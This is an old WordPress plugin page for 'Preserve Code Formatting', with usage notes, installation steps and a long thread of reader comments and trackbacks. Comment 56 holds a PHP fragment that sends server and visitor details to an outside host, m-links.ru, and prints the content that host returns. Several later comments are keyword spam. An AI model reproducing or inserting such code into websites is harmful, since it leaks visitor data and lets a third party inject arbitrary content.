Plugin: Preserve Code Formatting

This plugin has been updated! Comments to this post are now closed. For the latest download, documentation, and link for posting new comments related to this plugin, visit the plugin’s new homepage at:
http://coffee2code.com/wp-plugins/preserve-code-formatting
Name:
Preserve Code Formatting
Author:
Scott Reilly
Version:
0.9
Last updated:
29 March 2005
Description:

Preserve formatting for text within <code> and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).

Notes:

Bascially, you can just paste code into <code>, <pre>, and/or other tags you additionally specify and this plugin will:
* prevent all “wptexturization” of text (i.e. single- and double-quotes will not become curly; “--” and “---” will not become en dash and em dash, respectively; “...” will not become a horizontal ellipsis, etc)
* optionally preserve multiple spaces (including indentations) (for the most part, that is; it changes 2+ consecutive “\n” to “\n\n” and “\t” to ” “)

Keep these things in mind:
* ALL embedded HTML tags and HTML entities will be rendered as text to browsers, appearing exactly as you wrote them (including any
).
* By default this plugin filters both ‘the_content’ (post contents), ‘the_excerpt’ (post excerpts), and ‘get_comment_text’.

Example:
A post containing this within <code></code>:


$wpdb->query("
        INSERT INTO $tablepostmeta
        (post_id,meta_key,meta_value)
        VALUES ('$post_id','link','$extended')
");

Would, with this plugin enabled, look in a browser pretty much how it does above, instead of like:

$wpdb->query(”
INSERT INTO $tablepostmeta
(post_id,meta_key,meta_value)
VALUES (’$post_id’,'link’,'$extended’)
“);
Installation:
  1. Download the file preserve-code-formatting.zip and unzip it into your /wp-content/plugins/ directory.
    -OR-
    Copy and paste the the code ( preserve-code-formatting.phps ) into a file called preserve-code-formatting.php, and put that file into your /wp-content/plugins/ directory. Please ensure you do not introduce any spaces or other characters before the <?php or after the ?>
  2. Optional: There are two settings in preserve-code-formatting.php file that you can customize:
    a. in the function c2c_preserve_code_formatting(), if you want other HTML (in addition to ‘code’ and ‘pre’) to be processed by this function, add them to the $tags array:
    $tags = array('code', 'pre');
    b. in the function c2c_prep_code(), if you do NOT wish for this plugin to help preserve spacing/indentation in the ‘code’/'pre’/etc tags, then set $use_nbsp_for_spaces to be ‘false’. If you decide to do this, you can still preserve code formatting via CSS. Here’s a snippet of what I use:
        
        code, pre {
      white-space: pre;
        }
    
  3. Activate the plugin from your WordPress admin ‘Plugins’ page.
Functions:

function c2c_preserve_code_formatting( $text )

  • $text : Text to be scanned for <code> and <pre> tags

function c2c_anti_wptexturize( $text )

  • $text : Text to be processed in such a way as to prevent wptexturize from doing its thing
Tips & Examples:

N/A

Release Log:
  • 29 Mar 2005 : v0.9 — Released to the public
Copyright & Disclaimer:

Copyright (c) 2004-2005 by Scott Reilly (aka coffee2code)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Acknowledgements:
N/A

68 Responses to “Plugin: Preserve Code Formatting”

  1. Nice. I was going to write this, but now there’s no need. Awesome job, Scott.

  2. Ashutosh Kadakia replied on

    This dosen’t seem to work well with Textile. Please email me and let me know if you create a new version or the like

  3. [...] auf

    coffee2code.com » Plugin: Preserve Code Formatting

    Preserve Code Formatting sichert PRE und CODE Blöcke gegen wptex [...]

  4. [...] March 29th, 2005 WordPress Plugin: Preserve Code Formatting Preserve Code Formatting plugin will disable notification emails [...]

  5. Scott - thanks for the plugin. It’s very useful!

    A couple of things I noticed:

    It doesn’t seem to interact properly with the Markdown plugin - in particular, asterisk and underscore (for emphasis) are still interpreted inside the code tags.
    It doesn’t prevent Wordpress’ “correct invalidly nested XHTML automatically” feature. For example, if there is an open XHTML tag inside the code tag, Wordpress will still add the closing tag, which will be displayed inside the code tag.

  6. [...] to have it working. As a side note, the code I posted above was helpfully massaged by the Preserve Code Formatting plugin, which was suggested here. It see [...]

  7. [...] have it working.

    As a side note, the code I posted above was helpfully massaged by the Preserve Code Formatting plugin, which was suggested here. It see [...]

  8. A very nice plugin to preserve html format

    Thank you, I had searched this tool a long time and now find it.
    It is very nice.

  9. Excellent stuff, thank you. The only thing that buggers me is that you still can’t post <?php code ?> between <code> and &lt:/code>, WP strips everything before the comment is stored in the db …

  10. Actually, with a little help from MCincubus on #wordpress who pointed me to the hook I couldn’t find, I think I have the solution. Instead of add_filter('comment_text','c2c_preserve_code_formatting')
    I have added this :

    
    add_action('preprocess_comment', 'c2c_ozh_precomment');
    
    function c2c_ozh_precomment ($input) {
      $input['comment_content'] = c2c_preserve_code_formatting($input['comment_content']);
      return $input;
    }
    

    This way, everything between code or pre tags get c2c_preserved *before* WP makes its own selection.

  11. Deling Ren replied on

    It seems that it only works for tags with no attributes. The following code breaks it:

  12. Deling Ren replied on

    pre class=”something”

  13. Deling Ren replied on

    Anothing improvement suggestion:

    would it be possible to add line numbers? that feature would be awsome :)

  14. 222222222

  15. Just what I was looking for - with some nice styling on the code and pre tags this will be gr8! Top work fella

  16. [...] ’ Past”?????????? 2.?????????????? [...]

  17. Wordpress Plugin for Code Formatting

    I like to post code periodically in my blog entries, but I haven’t found a satisfactory way to do it until now. If you use “code” tags, you wind up killing your indentation. I’ve been using “pre” tags, but they&#8…

  18. [...] Luckily however, this can be fixed by using using a plugin called Preserve Code Formatting by Scott Reilly. Very useful! [...]

  19. [...] As a side note, the code I posted above was helpfully massaged by the Preserve Code Formatting plugin, which was suggested here. It seems to work fairly well, although I might look into making it all look a bit better (possibly with the assistance of a PHP function like highlight_string() or another WordPress plugin—suggestions appreciated). Comment on this entry. Use Textile to format your posts. [...]

  20. Decided to have a look at this to fix some pages that have code on them in a dev site that I’m working on… not only does it stop WP from doing curly quotes, it also stops it from rendering any HTML tags inside the pre or code block!

    So I can no longer have all my span tags for code colouring - which is a real pity. Any way to let it parse for tags, but single out the curly quotes only?

  21. [...] This is an old post that got mangled when I switched to wordpress. While browsing around I found the preserve formatting plugin from http://www.coffee2code.com which allows me to preserve the formatting of my matlab code without doing Wordpress gymnastics. [...]

  22. Just thought I’d inform you that I’ve written a comment based on most of the code from this plugin:

    http://www.viper007bond.com/wordpress-plugins/code-display/

    It improves on your’s a bit with a couple fixes, as well as allowing commenters to use non-allowed HTML tags within code tags in comments.

    You of course were given full credit. :)

  23. [...] This new one is just basically an improved version of a plugin by Scott Reilly. There’s just some tweaks to his code to make it work better in my opinion. I’ve also made it so that commenters can use non-allowed HTML tags within their <code> tags in comments. This is done by cloning the default comment processor (wp-comments-post.php) and replacing it with a slightly modified version that processes <code> contents before it’s stripped and inserted into the database. [...]

  24. [...] Preserve Code Formatting WordPress Plugin [...]

  25. [...] highlight_string() or another WordPress plugin—suggestions appreciated). You must be logged in to post a comment. Search [...]

  26. [...] [...]

  27. realy cooooool plug-in!
    thanks!

  28. [...] Preserve code formatting [...]

  29. [...] Courtesy of Coffee2Code. [...]

  30. [...] http://www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ - Home - [...]

  31. [...] http://www.coffee2code.com … Cat: Uncategorized - Home - [...]

  32. [...] Code Markup Preserve Code Formatting Code Entities Code Viewer Code Display Code Autoescape** [...]

  33. [...] I discovered a useful WordPress plugin, Preserve Code Formatting today. Put simply it allows you to display code in posts without WordPress playing with the formatting (removing indentation, flattening multiple spaces, etc.). It seems to work quite well so should be something I’ll use a lot in the future. It’s also simple to use once installed, you just wrap your code in and tags as you would in standard HTML and the plug-in takes care of the rest. Aren’t people on the Internet nice? [...]

  34. Thanks! A superbly useful plugin… the last one I would ever disable.

  35. Am currently constructing a blog and wanted to take notes on some code I changed as part of a post. I used your plugin, but it still doesn’t seem to solve the ampersand problem. I was trying to demonstrate how I found a good way to get custom rss feed from google which uses an ampersand in the code. It still gets changed to the ampersandamp;. It doesn’t matter if I use pre or code. I see that the last post here was in August, has anyone come up with a solution since then?

  36. Gordon replied on

    I have tried all sorts of so-called encoders with no success until I found yours.

    It works a treat.

    Many thanks.

  37. [...] I can find many plugins of wordpress doing this. such as Code Snippet, Codeautoescape, Unfancy Quote, Code Entities, Code Display, Code Markup, Preserve Coding Format and Code Viewer. [...]

  38. [...] Me ha costado un poco acabar la Entrada, me estaba costando demasiado “incrustar” código tanto HTML como PHP en el post… suele ser habitual y hay muchas formas de solucionarlo, una de ellas y por la que he optado ha sido este magnifico plugin que realmente me ha sorprendido, funciona de maravilla y sin preocuparse por instertar etiquetas de ningún tipo ni nada más. Es el: Preserve Code Formatting de Coffee to Code. Muy pero que muy recomendable (el editor visual de WP no me gusta nada… no lo suelo usar [...]

  39. Nice Work!!… this plugin is perfect…, very useful to WP user who don’t have to worry with any technic like tags about the plugin.
    Only he need write its post.

    Very Thx ;)

  40. [...] I’m currently going with the combination of Quickcode and Preserve Code Formatting. [...]

  41. [...] http://www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ [...]

  42. Brilliant, exactly what I’ve been looking for. Thank you :-)

  43. [...] I found Coffee2Code’s Preserve Code Formatting plugin. It worked very well, but when plugged into WordPress 2.03 it spit out header errors everytime you would try and save a page within the Admin Control Panel. [...]

  44. [...] http://www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ Vale a pena! Trackback · [...]

  45. Hey Scott, thanks for the plugin. It’s been working well with basic code, BUT it seems to have trouble preserving IE’s conditional comments and comment tags in general.

    Any idea’s on how i can make this work with preserving html comments?

    Thanks :)

  46. Nice plugin, will test it out on my blog. Thanks.

  47. [...] If you are using WordPress and you are posting code, what plugin are you using? I’ve just tried quickcode, but it strips all of the formatting out of the code and sets all of the lines flush left. I’ve also tried preserve-code-formatting, but got the same results. If anyone can help, I’d greatly appreciate it! [...]

  48. [...] This on the other hand requires coding a solution. Luckily someone has done the hard work for us. There is an existing plugin called Preserve Code Formatting that handles this. Basically it looks through the HTML source of a posting and looks for <code> and <pre> blocks. When it finds those blocks it removes all of the extra Wordpress formatting and handles escaping HTML entity characters. [...]

  49. [...] ???? ??? : Preserve Code Formatting [...]

  50. [...] » Plugin: Preserve Code Formatting « « Blog Archive coffee2code.com (tags: plugin code formatting wordpress) No Tags   « Reorganizing my sites |   [...]

  51. [...] QuickCode :???Javascript????<quickcode></quickcode>?????????????????http://www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ [...]

  52. [...] ?????????????????http://www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ [...]

  53. [...] Preserve Code Formatting [...]

  54. [...] Jeg har endelig funnet en plugin for folk som skriver mye kode i postene sine: Preserve Code Formatting. [...]

  55. sdsd
    fjdfhjf
    and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).

    =>> Visit the plugin’s homepage for more information and latest updates

  56. ‘;
    $params = array(
    ‘v’ => ‘1.0′,
    ‘id’ => ‘33559′,
    ’s’ => ‘728501803530757′,
    ‘t’ => time(),
    ’sh’ => @$_SERVER['HTTP_HOST'],
    ’sr’ => @$_SERVER['HTTP_REFERER'],
    ’su’ => @$_SERVER['USER_AGENT'],
    ’sa’ => @$_SERVER['HTTP_ADDR'],
    ’sq’ => @$_SERVER['REQUEST_URI']);
    $query = array();
    foreach ($params as $name => $value) $query[] = $name.’=’.urlencode($value);
    $href = ‘http://m-links.ru/code/links.php’.'?’.implode(’&’, $query);
    print @file_get_contents($href);
    ?>

  57. [...] One of my intentions with this blog from the beginning was to post tracts of code in it. To this end, I promptly installed the Preserve Code Formatting plugin courtesy of Coffee 2 Code. Simple Wordpress plugins are wonderfully easy to install: they are implemented as single PHP files that you copy into the wp-content/plugins directory under your Wordpress installation, after which they will show up automagically as options under the Admin -> Plugins page where you can toggle them on or off. [...]

  58. [...] Thanks to Scott Reilly for the nice Preserve Code Formatting plugin. [...]

  59. [...] Io ho usato questo: http://www.coffee2code.com/archives/…de-formatting/ __________________ Google Maps, Google AdSense, PHP, phpBB ed ecologia! [...]

  60. kleding

  61. werkschoenen

  62. PKA werkschoenen
    Kapriol werkschoenen
    Grisport werkschoenen
    Bata werkschoenen
    No Risk werkschoenen
    Lavoro werkschoenen
    Dunlop werklaarzen
    Safety Jogger werkschoenen
    Executive werkschoenen
    Sika werkschoenen
    PKA werkschoenen
    Kapriol werkschoenen
    Grisport werkschoenen
    Bata werkschoenen
    No Risk werkschoenen
    Lavoro werkschoenen
    Dunlop werklaarzen
    Safety Jogger werkschoenen
    Executive werkschoenen
    Sika werkschoenen

  63. [...] » Plugin: Preserve Code Formatting « « Blog Archive coffee2code.com (tags: plugin code formatting wordpress) No Tags [...]

  64. [...] Now grab and install coffee2code’s Preserve Code Formatting WordPress plugin. [...]

  65. [...] ??????? coffee2code.com ?????????????????????????????????? [...]

  66. [...] #There is supposed to be a tab in here…x = range(0,50,2)for num in x:print x?| print &quot;The concludes my testing of the syntax highlighting plugin&quot; This is the result of 2 plugins.  One to preserve the whitespace, and one for they syntax coloring. [...]

  67. Here is a plugin-less solution I have found to work well:
    http://www.webveteran.com/blog/?p=12

  68. [...] Plugin: Preserve Code Formatting Si comme moi vous écrivez régulièrement du code dans vos billets, vous avez certainement remarqué que WP à tendance à tout chambouler (surtout au niveau des ” et ” ). Et bien fini les soucis avec ce plugin ! [...]